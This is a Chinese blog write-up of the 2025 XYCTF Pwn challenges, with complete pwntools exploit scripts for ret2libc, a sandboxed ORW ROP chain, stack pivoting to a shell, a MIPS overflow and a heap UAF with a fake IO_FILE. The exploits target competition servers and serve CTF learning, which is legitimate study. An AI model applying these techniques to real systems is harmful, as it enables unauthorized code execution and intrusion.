2025 XYCTF Pwn-wp(含附件)
前言
总体来说Pwn方向题目难度属于中等,属于那种一眼看不出要咋做,但多试试又能做出来的那种,比赛的时候甚至有几只队伍AK了Pwn方向。感觉题目还是很不错的尽管比赛中有一些小意外像是有些题目附件给错了,但是XYCTF的师傅们都是无偿出题纯热爱向大伙分享自己的题目和知识,感谢所有XYCTF出题的师傅,明年我还来打(〃'▽'〃)
通过网盘分享的文件:2025XYCTF.rar
链接: https://pan.baidu.com/s/1yf7piV-H4U2qtXiQyo9eBw?pwd=xidp 提取码: xidp
其中含有pwn方向全部赛题、官方wp、奶龙出题人提供的奶龙wp以及ddw队伍的师傅分享在群里的pwn方向全解wp
Ret2libc’s Revenge
第一次遇到这种题目,刚打开就感觉很奇怪,以往做过的绝大多数题目都是利用setvbuf函数
关闭缓冲区来达到直接输入/输出的效果,但是这个题目特意将输出的缓冲区开启了,导致正常情况下之后程序结束刷新了缓冲区才会有输出,具体如下图所示:
下图展示setvbuf函数的作用:
而我们运行程序可以看到我们需要先输入,等程序结束后才会有输出
而原本输出的内容会优先存放在一个堆空间中,这个就是我们说的缓冲区
看到这道题原本我的思路是再次构造setvbuf函数
来关闭输出的缓冲区,然后利用程序中的数组溢出
来构造ROP
泄露libc基地址
,但是多次尝试后失败了,因为程序中所能够使用的gadget
太少了,没办法合理的控制rcx寄存器
,并且程序中也没有含有fflush函数
最终使得我的思路是将输出缓冲区填满
,来泄露libc基地址
然后打ret2libc
(毕竟这个题目叫ret2libc的复仇)
还需要注意题目是数组溢出
,覆盖的时候不要无脑覆盖,需要通过调试确定idx变量
在栈中的位置,需要把idx变量
覆盖成合理的大小,不然就没办法覆盖到下面的数据,或者由于idx变量
被覆盖成奇怪的数据而到处乱覆盖
完整exp如下:
from xidp import *#---------------------初始化----------------------------arch = 64
elf_os = 'linux'
challenge = "./pwn2"
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
# 这里的libc版本为Ubuntu GLIBC 2.35-0ubuntu3.9
ip = '39.106.48.123:44314'
# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 断点
# bps = [0x040127A, 0x401261, 0x7ffff7c8aefd]
bps = [0x040127A]
# bps = []
#---------------------debug-------------------------------'''
b *0x040127A ret
b *0x00040122F mov eax, [rbp+var_4]
0x7fffffffdc50 输入地址
0x7fffffffde68: 0x0000000800000007
0x7fffffffde68+0x4是v6地址,必须保证v6合理正确
watch *(0x7fffffffded8)
watch *(0x7fffffffdee8)
0x7fffffffdef8 v6
0x7fffffffdce0 输入地址
x/30gx 0x7fffffffdec8
watch *(0x405690)
'''puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
stdout_addr = 0x404060
mov_edi_esi_ret = 0x0000000000401181#: mov edi, esi; ret;
add_rsi_rbp_ret = 0x00000000004010eb#: add rsi, qword ptr [rbp + 0x20]; ret;
mov_rdi_rsi_ret = 0x0000000000401180#: mov rdi, rsi; ret;
pop_rbp_ret = 0x000000000040117d#: pop rbp; ret;
mov_rdi_rax_call_ret = 0x00000000004011f0 #: mov rdi, rax; call 0x10a0; mov eax, 0; pop rbp; ret;
xor_rdi_and_rsi_ret = 0x00000000004010e0#: xor rdi, rdi; nop; and rsi, 0; ret;
load_puts = 0x400600
puts_str = 0x40128Dpayload = b'a'*(528+12)
# payload += p8(0x20) # 这里0x20恰好后面可以覆盖rbp
payload += p8(0x28) # 这里0x28恰好后面可以覆盖rip
payload += p64(puts_str)# 这里本地和远程的缓冲区大小不一样,所以循环的次数也不一样
# for i in range(214):
for i in range(52):io.sendline(payload)payload2 = b'a'*(528+12)
# payload += p8(0x20) # 这里0x20恰好后面可以覆盖rbp
payload2 += p8(0x28) # 这里0x28恰好后面可以覆盖rip
payload2 += p64(xor_rdi_and_rsi_ret)
payload2 += p64(pop_rbp_ret)
payload2 += p64(load_puts-0x20)
payload2 += p64(add_rsi_rbp_ret)
payload2 += p64(mov_rdi_rsi_ret)
payload2 += p64(puts_plt)
payload2 += p64(xor_rdi_and_rsi_ret)
payload2 += p64(pop_rbp_ret)
payload2 += p64(load_puts-0x20)
payload2 += p64(add_rsi_rbp_ret)
payload2 += p64(mov_rdi_rsi_ret)
payload2 += p64(puts_plt)
payload2 += p64(xor_rdi_and_rsi_ret)
payload2 += p64(pop_rbp_ret)
payload2 += p64(load_puts-0x20)
payload2 += p64(add_rsi_rbp_ret)
payload2 += p64(mov_rdi_rsi_ret)
payload2 += p64(puts_plt)
payload2 += p64(puts_str)
io.sendline(payload2)# for i in range(215):
for i in range(53):io.recvuntil(b"Ret2libc's Revenge\n")puts_addr = uu64()
leak('puts_addr')
libc_base = puts_addr - libc.symbols['puts']
# one = [0xebd43, 0xebd3f, 0xebd38, 0xebce2, 0xebc88, 0xebc85]
# one_gadget = libc_base + one[5]
leak('libc_base')
# leak('one_gadget')binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.symbols['system']
pop_rdi_ret = libc_base + 0x000000000002a3e5#: pop rdi; ret;
ret = libc_base + 0x00000000000f7493#: ret;# pwndbg(0, bps, 1)
payload3 = b'a'*(528+12)
# payload += p8(0x20) # 这里0x20恰好后面可以覆盖rbp
payload3 += p8(0x28) # 这里0x28恰好后面可以覆盖rip
payload3 += p64(pop_rdi_ret)
payload3 += p64(binsh_addr)
payload3 += p64(ret)
payload3 += p64(system_addr)
io.sendline(payload3)ia()
girlfriend
也是保护全开
同时开启了sandbox保护
,不允许使用open
(所以我们可以使用openat
来代替open
)
并且这里可以看出read函数
的第一个参数必须为0
,而我们知道我们一般打开文件读取文件中的内容一般read
的第一个参数是3
,而这里绕过的方法其实也很简单,我们在使用openat
之前使用一个close(0)
就可以关闭标准输入流
,等我们使用openat
打开flag文件
的时候就会被默认为是0
,此时read(0,x,x)
就是读取文件中的内容
大致程序如下,不过多介绍,大家可以自己下载附件查看
选项3 有格式化字符串漏洞
,可以用用于泄露各种地址
以及canary
选项1 有16字节的溢出,可以用于栈迁移
,但是有次数限制只有一次
所以我的思路大致就是第一次先利用格式化字符串漏洞
泄露程序基地址
,canary
,libc基地址
,第二次也是选择进入格式化字符串的选项
中但是不是为了使用格式化字符串漏洞
而是为了在这个bss段
布置ROP链
来打ORW
(这里需要注意,前面0x38字节最好不要布置ROP链,因为可能会覆盖掉重要的全局变量,导致后面的栈迁移无法使用,如下图所示),
然后第三次就是栈迁移了
具体exp如下:
from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./girlfriend"
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
# 这里的libc版本为Ubuntu GLIBC 2.35-0ubuntu3.9
ip = '47.93.96.189:22535'
# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 断点
bps = []
#---------------------debug-------------------------------
menu = "Your Choice:\n"
def talk_her(content): # 只有一次机会sdla(menu, str(1)) sda("what do you want to say to her?", content)
def get_name(comment): sdla(menu, str(3)) sda("You should tell her your name first", comment)io.recvuntil("your name:\n")canary_offset = 15
libc_offset = 17
elf_offset = 7# step 1: leak canary, libc_base, elf_base
get_name("%15$p_%17$p_%7$p")
io.recvuntil("0x")
canary = int(io.recv(16),16)
io.recvuntil("0x")
libc_base = int(io.recv(12),16) - 0x29D90
io.recvuntil("0x")
elf_base = int(io.recv(12),16) - 0x18D9
leak('canary')
leak('libc_base')
leak('elf_base')bss_addr = elf_base + 0x004060
pop_rdi_ret = libc_base + 0x000000000002a3e5#: pop rdi; ret;
pop_rsi_ret = libc_base + 0x0000000000130202#: pop rsi; ret;
pop_rdx_r_ret = libc_base + 0x000000000011f2e7#: pop rdx; pop r12; ret;
pop_rax_ret = libc_base + 0x0000000000045eb0#: pop rax; ret;
pop_rcx_ret = libc_base + 0x000000000003d1ee#: pop rcx; ret;
syscall_ret = libc_base + 0x0000000000091316#: syscall; ret;
leave_ret = libc_base + 0x000000000004da83#: leave; ret;
opnat_addr = libc_base + libc.sym['openat']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
close_addr = libc_base + libc.sym['close'] rop2 = flat([pop_rdi_ret, 0,close_addr,pop_rdi_ret, -100,pop_rsi_ret, bss_addr,pop_rdx_r_ret, 0x0, 0,opnat_addr,pop_rdi_ret, 0,pop_rdx_r_ret, 0x100, 0,read_addr,pop_rdi_ret, 1,pop_rdx_r_ret, 0x100, 0,pop_rax_ret, 1,write_addr,
])put(hex(len(rop2)))rop1 = flat(['flag\x00\x00\x00\x00', 0,0, 0,0, 0,0,
])put(hex(len(rop1)))rop = rop1 + rop2
put(hex(len(rop)))get_name(rop)# pwndbg(1, bps, 1)
# x/30gx $rebase(0x04060)
# x/30gx $rebase(0x04094)
payload = b'a'*0x38 + p64(canary) + p64(bss_addr+0x30) + p64(leave_ret)
talk_her(payload)ia()
明日方舟寻访模拟器
康康保护,发现没有canary
和PIE
漏洞点在抽完之后退出可以向好友炫耀,炫耀的时候会让用户输入名字,这里存在read的溢出
整个题目总体比较常规,第一次利用溢出控制rbp寄存器
因为通过观察我们可以发现控制rbp寄存器
就可以控制read函数的输入地址
这里我们第一次用溢出修改rbp寄存器的值
然后返回到图中所示位置再次使用read
第二次让read函数在我们指定的位置(bss段
)打入一个ROP,并且我们再次控制rbp寄存器
进行栈迁移就可以获得shell
但是我们还需要注意,在程序的最后又一个close(1)
,也就是哪怕我们拿到shell也没有办法让内容输出到终端上,所以我们还需要使用 exec 1>&2
这个指令将标准输出重定向到标准错误中
完整exp如下
from xidp import *#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./arknights"
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '8.147.132.32:36781'# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)debug(0) # 其他-debug 1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 断点
bps = [0x04018B9, 0x40191C, 0x4018b9]
#---------------------debug-------------------------------leave_ret = 0x0000000000401393#: leave; ret;
pop_rdi_ret = 0x00000000004018e5#: pop rdi; ret
pop_rsi_r15_ret = 0x0000000000401981#: pop rsi; pop r15; ret;
ret = 0x000000000040101a#: ret;
bss_addr = 0x405000 + 0xd00#: bss
system_addr = elf.plt['system']
call_read = 0x4018A8io.recvuntil("欢迎使用明日方舟寻访模拟器!祝你好运~\n")
io.sendline('') # 随便输入一个吧io.recvuntil("请选择:[1]单抽 [2]十连 [3]自定义数量 [4]结束抽卡\n")
io.sendline('1') # 单抽
io.sendline('')
io.recvuntil("请选择:[1]单抽 [2]十连 [3]自定义数量 [4]结束抽卡\n")
io.sendline('4') # 结束# pwndbg(0, bps, 1)io.recvuntil("请选择:[1]向好友炫耀 [2]退出\n")
io.sendline('1') # 这里选择1 就存在溢出了# pwndbg(0, bps, 1)io.recvuntil("请输入你的名字:")
payload = b'a' * 64
payload += p64(bss_addr + 0x40) # rbp-0x40等于第二次read的输入地址
payload += p64(call_read)
'''
0x405d00 第二次read的输入地址
'''
io.send(payload)binsh_addr = 0x405d00
rop_chain = b'/bin/sh\x00'
rop_chain += p64(ret) #5F C3 0x4018e6 (main+446) ◂— ret
rop_chain += p64(pop_rdi_ret)
rop_chain += p64(binsh_addr)
rop_chain += p64(system_addr)payload = rop_chain.ljust(0x40,b'\x00')
payload += p64(bss_addr) # 这里是栈迁移控制rbp
payload += p64(leave_ret)
io.send(payload)ia()# 最后还需要使用下面这个指令来重定向标准输出
# exec 1>&2
Ez3.0
深入异构 PWN:PowerPC&ARM&MIPS-先知社区
这题和上面博客中的split
基本上一致
就是很普通的栈溢出,不过是mipsel架构
需要了解一些mips架构
的基本的指令和用法
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
io = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "./EZ3.0"])
# io = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "-g", "12345", "./EZ3.0"])elf = ELF("./EZ3.0")
# libc = ELF("/usr/mipsel-linux-gnu")binsh_cat = 0x0411010 # /bin/cat flag.txt
lw_a0_8sp = 0x00400a20#: lw $a0, 8($sp); lw $t9, 4($sp); jalr $t9; nop;
system_addr = 0x00400B70 # system# gdb.attach(target=("localhost", 12345), exe=elf.path, gdbscript="b *0x04008E0\nb *0x04009B4")
# pause()payload = b'a' * 36
payload += p32(lw_a0_8sp)
payload += p32(0)
payload += p32(system_addr)
payload += p32(binsh_cat)
io.sendafter(">", payload)io.interactive()
heap2
一个有点怪怪的题目,本地可以ORW
拿到flag
,但是远程就是不行,泪目
由于程序开启了沙箱保护,所以在bins中残留了非常多的堆块
而题目的漏洞点在于free的时候存在UAF
上面这一段C++伪代码大致和下面的C语言逻辑相同
因此我们思路大致就是利用这个UAF实现任意地址写,控制IO_list_all
最后使用House of apple
或者 House of cat
来打ORW
实现flag的读取
这里由于本人构造的fake_IO
只在本地打通,并且不知道为什么远程打不通(后续知道原因后会对本篇文章进行更新),所以为了不误导其他人,这里只做如何达成任意地址写来控制IO_list_all
的分享具体我是如何构造fake_IO
的就不过多介绍了,因为我只是个套板子的小鬼罢了不知道哪里有问题(我在百度网盘分享的文件中有别的队伍师傅的wp大家可以学习别的师傅是如何构造打通远程的)
由于bins中空的块太多了,所以为了不让原本的chunk干扰到我们构造,我选择了使用0x250大小的堆块
使用的方法为House of botcake
具体构造如下所示,
menu = "> "
def add(size, content):io.sendlineafter(menu, str(1))io.sendlineafter("size: ", str(size))io.sendafter("data: ", content)def free(idx):io.sendlineafter(menu, str(3))io.sendlineafter("idx: ", str(idx))def show(idx):io.sendlineafter(menu, str(2))io.sendlineafter("idx: ", str(idx))for i in range(10):add(0x240,b'a') # 0-9add(0x500,b'a') # 这个用来伪造IO chunk10
for i in range(7):free(i)free(7)
show(7)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x203B20
leak("libc_base", libc_base)
IO_list_all = libc_base + 0x2044C0
leak("IO_list_all", IO_list_all)free(9)
show(9)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x15C40
leak('heap_base', heap_base)
tcache_chunk = heap_base + 0x15EA0
leak("tcache_chunk", tcache_chunk)
fake_IO_addr = heap_base + 0x16330
leak("fake_IO_addr", fake_IO_addr)free(8)
add(0x240, b'bbbbbbbb')
free(8)
# 这里把整个unsortedbin申请出来就可以控制tcache指针了payload = p64(0)
payload = payload.ljust(0x240, b'\x00')
payload += p64(0) + p64(250)
payload += p64(IO_list_all ^ (tcache_chunk >> 12))
# 这里绕过tcache的指针加密,将指针修改为IO_list_all
add(0x6e0, payload)
add(0x240, b'aaaaaa')
add(0x240, p64(fake_IO_addr))
add(0x600,b'a') # 防止被合并 11
free(10)
效果如下:
我的完整exp:
from xidp import *
#---------------------初始化----------------------------arch = 64
elf_os = 'linux'
challenge = "./heap2"
libc_path = './libc.so.6'
ip = ''# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)debug(0) # 其他-debug 1-info
#---------------------初始化-----------------------------#---------------------debug------------------------------
# 断点
bps = []
#---------------------debug-------------------------------
menu = "> "
def add(size, content):io.sendlineafter(menu, str(1))io.sendlineafter("size: ", str(size))io.sendafter("data: ", content)def free(idx):io.sendlineafter(menu, str(3))io.sendlineafter("idx: ", str(idx))def show(idx):io.sendlineafter(menu, str(2))io.sendlineafter("idx: ", str(idx))for i in range(10):add(0x240,b'a') # 0-9add(0x500,b'a') # 这个用来伪造IO chunk10for i in range(7):free(i)free(7)
show(7)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x203B20
leak("libc_base", libc_base)
IO_list_all = libc_base + 0x2044C0
leak("IO_list_all", IO_list_all)free(9)
show(9)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x15C40
leak('heap_base', heap_base)
tcache_chunk = heap_base + 0x15EA0
leak("tcache_chunk", tcache_chunk)
fake_IO_addr = heap_base + 0x16330 + 0x510
leak("fake_IO_addr", fake_IO_addr)free(8)
add(0x240, b'flag\x00\x00\x00\x00')
free(8)
# 这里把整个unsortedbin申请出来就可以控制tcache指针了payload = p64(0)
payload = payload.ljust(0x240, b'\x00')
payload += p64(0) + p64(250)
payload += p64(IO_list_all ^ (tcache_chunk >> 12))
add(0x6e0, payload)
add(0x240, b'flag\x00\x00\x00\x00')
add(0x240, p64(fake_IO_addr))# 下面开始伪造fake_IO结构体
chunk3 = fake_IO_addr # 伪造的fake_IO结构体的地址
pop_rdi_ret = libc_base + 0x000000000010f75b#: pop rdi; ret;
pop_rsi_ret = libc_base + 0x0000000000110a4d#: pop rsi; ret;
pop_rdx_ret = libc_base + 0x00000000000ab891#: pop rdx; or byte ptr [rcx - 0xa], al; ret;
pop_rax_ret = libc_base + 0x00000000000dd237#: pop rax; ret;
syscall_ret = libc_base + 0x0000000000098fb6#: syscall; ret;
ret = libc_base + 0x00000000001169a3#: ret;
# ret = pop_rdi_ret + 1
setcontext = libc_base + libc.sym['setcontext']
IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
# open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b"/bin/sh\x00").__next__()
leak('setcontext', setcontext)
leak('IO_wfile_jumps', IO_wfile_jumps)
# leak('open_addr', open_addr)
leak('read_addr', read_addr)
leak('write_addr', write_addr)fake_IO_FILE = p64(0)*2 + p64(1) + p64(chunk3+0x8)
fake_IO_FILE =fake_IO_FILE.ljust(0x60,b'\x00')
fake_IO_FILE += p64(0)+p64(chunk3+0xf8)+p64(system_addr) #rdi,rsi
fake_IO_FILE += p64(heap_base)
fake_IO_FILE += p64(0x100) #rdx
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(chunk3 + 0x8) #_wide_data,rax1_addr
fake_IO_FILE += p64(chunk3 + 0xf0) + p64(ret) #rsp
fake_IO_FILE += p64(0) + p64(1) + p64(0)*2
fake_IO_FILE += p64(IO_wfile_jumps + 0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(setcontext+61) + p64(chunk3+0xc8)
fake_IO_FILE += p64(read_addr)add(0x600,fake_IO_FILE) # 布置fake_IOorw = p64(pop_rdi_ret) + p64(heap_base+88576)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2) + p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(heap_base+0x100)
orw += p64(read_addr)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(pop_rsi_ret) + p64(heap_base+0x100)
orw += p64(write_addr)io.sendlineafter(menu, str(4))sleep(0.3)io.sendline(orw)# pwndbg(1, bps, 1)
# x/30gx $rebase(0x0051B0)ia()
本地打通的效果:
奶龙回家
web苦手
bot
上面三个没打出来,好累啊,不想复现了,有空再做吧(咕咕咕… …)
如果有师傅有不同的做法欢迎添加我好友或评论区进行分享,我很乐意学习不同的方法(* ̄︶ ̄)
相关文章:
2025 XYCTF Pwn-wp(含附件)
前言 总体来说Pwn方向题目难度属于中等,属于那种一眼看不出要咋做,但多试试又能做出来的那种,比赛的时候甚至有几只队伍AK了Pwn方向。感觉题目还是很不错的尽管比赛中有一些小意外像是有些题目附件给错了,但是XYCTF的师傅们都是无偿出题纯热爱向大伙分享自己的题目…...
verilog有符号数的乘法
1、单周期乘法器 对于低速要求的乘法器,可以简单的使用 * 实现。 module Mult(input wire [7:0] multiplicand ,input wire [7:0] multipliter ,output wire [7:0] product);assign product multiplicand * multipliter …...
【python3】关于等额本金和等额本息计算
【python3】关于等额本金和等额本息计算 1.背景2.计算3.总结4.推导 1.背景 在贷款买房的宝子们一定有了解等额本金和等额本息,年轻的时候只听销售在那里计算, 您可能听得云里雾里。 等额本金:每个月还的本金固定,利息逐渐减少。…...
git怎么删除远程分支
删除远程分支 引言删除远程分支查看远程分支查看远程分支详情删除远程分支 引言 本文旨在记录一下,git如何通过命令行删除远程分支。 删除远程分支 查看远程分支 使用指令: git branch -r查看远程分支详情 使用指令: git remote show …...
【C++】函数直接返回bool值和返回bool变量差异
函数直接返回bool值和返回bool变量差异 背景 在工作中遇到一个比较诡异的问题,场景是给业务方提供的SDK有一个获取状态的函数GetStatus,函数的返回值类型是bool,在测试过程中发现,SDK返回的是false,但是业务方拿到的…...
蓝桥杯-蓝桥幼儿园(并查集)
并查集的核心思想 并查集主要由两个操作构成: Find:查找某个元素所在集合的根节点。并查集的特点是,每个元素都指向它自己的父节点,根节点的父节点指向它自己。查找过程中可以通过路径压缩来加速后续的查找操作,即将路…...
Ensemble of differential evolution variants(EDEV)
差分进化变体的集成1 在这项研究中,一个基于多种群的框架(MPF)被提议用于多个差分进化变体的集合。与PAP2不同,PAP通过时间预算分配策略和个体移民算子实现算法组合,MPF将整个种群划分为子种群,包括几个指…...
《AI开发工具和技能实战》第1集 Windows CMD 命令行操作指南:从基础到进阶
第1集 Windows CMD 命令行操作指南:从基础到进阶 在日常使用 Windows 系统时,命令提示符(Command Prompt,简称 CMD)是一个强大且灵活的工具。无论是文件管理、系统配置,还是网络诊断,CMD 都能提…...
实现一个拖拽排序组件:Vue 3 + TypeScript + Tailwind CSS
文章目录 一、项目背景与需求分析需求: 二、搭建基础项目1. 初始化 Vue 3 项目2. 安装 Tailwind CSS 三、设计拖拽排序组件1. 创建拖拽排序组件2. 说明: 四、完善样式与功能1. 样式调整2. 拖拽顺序更新 五、进一步优化与拓展1. 添加排序指示器2. 支持动态…...
哈希表(开散列)的实现
目录 引入 开散列的底层实现 哈希表的定义 哈希表的扩容 哈希表的插入 哈希表查找 哈希表的删除 引入 接上一篇,我们使用了闭散列的方法解决了哈希冲突,此篇文章将会使用开散列的方式解决哈希冲突,后面对unordered_set和unordered_map的…...
解决 Jetpack Compose 中 State 委托报错:“no method getValue“ 的终极指南
1. 必须的导入 ✅ import androidx.compose.runtime.getValue // 核心关键!作用:为 State 类型添加 getValue() 操作符,使其支持 by 委托语法。为什么需要:Kotlin 的委托属性需要对象实现 getValue() 方法,Compose 通…...
我们如何思考AI创业投资
🎬 Verdure陌矣:个人主页 🎉 个人专栏: 《C/C》 | 《转载or娱乐》 🌾 种完麦子往南走, 感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️ 声明:本文作者转载,原文出自…...
1.ElasticSearch-入门基础操作
一、介绍 The Elastic Stack 包含ElasticSearch、Kibana、Beats、LogStash 这就是所说的ELK 能够安全可靠地获取任何来源、任何格式的数据,然后实时地对数据进行搜索、分析和可视化。Elaticsearch,简称为ES,ES是一个开源的高扩展的分布式全文搜索引擎,是…...
2.ElasticSearch-Java API
一、基础使用 1.1 Maven 坐标 <dependencies><dependency><groupId>org.elasticsearch</groupId><artifactId>elasticsearch</artifactId><version>7.8.0</version></dependency><!--es的客户端--><dependenc…...
蓝桥杯-小明的彩灯(差分)
问题描述: 差分数组 1. 什么是差分数组? 差分数组 c 是原数组 a 的“差值表示”,其定义如下: c[0] a[0]c[i] a[i] - a[i-1] (i ≥ 1) 差分数组记录了相邻元素的差值。例如,原数组 a [1, …...
vim定位有问题的脚本/插件的一般方法
在使用vim的过程中可能会遇到一些报错或其他不符合预期的情况,本文介绍一些我自己常用的定位有问题脚本/插件的方法(以下方法同样适用于neovim) 执行了某些命令的情况 这种情况最简单,使用:h 命令,如果插件有文档的话…...
EasyExcel实现图片导出功能(记录)
背景:在旧系统的基础上,导出一些工单信息时,现需要新添加处理人的签名或者签章,这就涉及图片的上传、下载、写入等几个操作。 1、EasyExcel工具类 (1)支持下拉框的导出。 import com.alibaba.excel.Easy…...
PCL拟合空间3D圆周 fit3DCircle
PCL版本 1.15.0 main.cpp #include<vector> #include<iostream> #include <array> #include <string> #include <windows.h> #include <omp.h> #include <charconv> // C17 #include <cstdlib> #include<chrono> #in…...
ansible 实现达梦7数据库初始化数据脚本写入
关于使用ansible 对ARM版达梦7的k8s自动化部署参考我的这篇操作 ansible-playbook 写arm版达梦7数据库的一键安装脚本-CSDN博客文章浏览阅读303次,点赞5次,收藏3次。达梦官方提供镜像目前是dm8_x86 版本,因为众所周知的国产化方面的需求&…...
leetcode每日刷题
Day18 Title45.jump(跳跃游戏 II) 解法一:动态规划 依然分三步走: 1.状态方程 2.dp[i]的意义 3.边界条件及初始值 优先思考第二个问题: dp[i]表示到达i时需要的最少跳数 第一个问题: dp[ij]min(dp[i]1,dp[ij]) 为什么&am…...
Ubuntu安装Nginx
Ubuntu安装Nginx 由于 Ubuntu 的 apt 命令内置了 nginx 源,因此不用配置 apt 就可以直接下载安装: apt install nginx -y查看 nginx 是否启动: ps -ef |grep nginx如果没有启动则需要手动启动: nginx1. 配置Nginx 使用浏览器…...
Hadoop的序列化
(一)什么是序列化与反序列化 序列化就是把内存中的对象,转换成字节序列(或其他数据传输协议)以便于存储到磁盘(持久化)和网络传输。 反序列化就是将收到字节序列(或其他数据传输协议…...
拼多多商品详情接口爬虫实战指南
一、引言 在电商运营和数据分析中,获取商品详情数据是至关重要的一步。拼多多作为国内知名的社交电商平台,提供了丰富的商品详情接口,允许开发者通过API获取商品的详细信息。本文将详细介绍如何通过爬虫技术结合拼多多商品详情接口ÿ…...
python网络爬虫
一、Python爬虫核心库 HTTP请求库 requests:简单易用的HTTP请求库,处理GET/POST请求。aiohttp:异步HTTP客户端,适合高并发场景。 HTML/XML解析库 BeautifulSoup:基于DOM树的解析库,支持多种解析器…...
java线程安全-单例模式-线程通信
首先看看单例模式的写法 首先我们先来回顾一下饿汉式单例模式: class Singleton{private static Singleton singletonnew Singleton();private Singleton(){}public static Singleton getInstrance(){return singleton;} } public class Test{public static void …...
ASP.NET中将 PasswordHasher 使用的 PBKDF2 算法替换为更现代的 Scrypt 或 Argon2 算法
相关博文: .Net实现SCrypt Hash加密_scrypt加密-CSDN博客 密钥派生算法介绍 及 PBKDF2(过时)<Bcrypt(开始淘汰)<Scrypt< Argon2(含Argon2d、Argon2i、Argon2id)简介-CSDN博客 浅述.Net中的Hash算法(顺带对称、非对称…...
力扣刷题-热题100题-第34题(c++、python)
23. 合并 K 个升序链表 - 力扣(LeetCode)https://leetcode.cn/problems/merge-k-sorted-lists/?envTypestudy-plan-v2&envIdtop-100-liked 顺序合并 合并两个有序链表作为子函数,创建一个空链表,然后对含有多个链表的数组进…...
【SpringCloud】从入门到精通【上】
今天主播我把黑马新版微服务课程MQ高级之前的内容都看完了,虽然在看视频的时候也记了笔记,但是看完之后还是忘得差不多了,所以打算写一篇博客再温习一下内容。 课程坐标:黑马程序员SpringCloud微服务开发与实战 微服务 认识单体架构 单体架…...
如何给路由器配置代理IP?更改网络ip地址时出现错误怎么解决?
在现代网络环境中,无论是家庭用户还是企业用户,经常需要配置路由器以实现网络访问的灵活性和匿名性。其中,给路由器配置代理IP是一个常见的需求,尤其是在需要绕过地域限制、增强网络安全或进行匿名浏览时。然而,配置过…...
程序化广告行业(70/89):ABTester系统助力落地页优化实践
程序化广告行业(70/89):ABTester系统助力落地页优化实践 在程序化广告领域摸爬滚打多年,深知持续学习和知识共享的重要性。写这篇博客,就是希望能和大家一起深入探索程序化广告行业,共同学习、共同进步。今…...
远程监控系统项目里练习
1、项目目标 设备端: (1)基于stm32mp157开发板,裁剪linux5.10.10,完成ov5640摄像头移植; (2)完成用户层程序,完成对摄像头的控制及与云端服务的数据交互。 云端&…...
Spring Boot 通过全局配置去除字符串类型参数的前后空格
1、问题 避免前端输入的字符串参数两端包含空格,通过统一处理的方式,trim掉空格 2、实现方式 /*** 去除字符串类型参数的前后空格* author yanlei* since 2022-06-14*/ Configuration AutoConfigureAfter(WebMvcAutoConfiguration.class) public clas…...
设计模式 --- 观察者模式
设计模式 --- 观察者模式 什么是观察者模式观察者模式典型应用 --- C#中的事件使用观察者模式实现事件处理机制 什么是观察者模式 观察者模式(Observer Pattern)是一种行为型设计模式,用于在对象之间建立一对多的依赖关系。当一个对象&#x…...
组播网络构建:IGMP、PIM 原理及应用实践
IP组播基础 组播基本架构 组播IP地址 一个组播IP地址并不是表示具体的某台主机,而是一组主机的集合,主机声明加入某组播组即标识自己需要接收目的地址为该组播地址的数据IP组播常见模型分为ASM模型和SSM模型ASM:成员接收任意源组播数据&…...
Java常见的23种设计模式
Java常见的23种设计模式 大家好,我是钢板兽! 本文将系统梳理 Java 的设计模式,涵盖创建型、结构型和行为型三大类,结合定义、原理、优点、应用场景、示例代码,帮助你初步了解常见的23种设计模式。 一、设计模式分类…...
兔单B细胞单抗制备服务
1.兔单B细胞技术原理 兔单B细胞技术是近年来新发展的一类快速制备单克隆抗体的技术,是一种通过分离和单克隆化兔子体内的B细胞来制备单一来源的高特异性抗体的方法。基于流式细胞分选技术进行单B细胞单抗制备,利用每个B细胞只含有一个功能性重链可变区D…...
MySQL基础 [六] - 内置函数+复合查询+表的内连和外连
内置函数一般要用select调用 内置函数 日期函数 current_date函数 current_date函数用于获取当前的日期。如下: current_time函数 current_time函数用于获取当前的时间。如下: now函数 now函数用于获取当前的日期时间。如下: date函数 dat…...
nginx路径匹配的优先级
在 Nginx 配置中,当请求 /portal/agent/sse 时,会匹配 location ~* /sse$ 规则,而不是 location /portal。原因如下: 匹配规则解析 location ~* /sse$ ~* 表示 不区分大小写的正则匹配/sse$ 表示以 /sse 结尾的路径匹配结果&#…...
tcp/ip攻击及防范
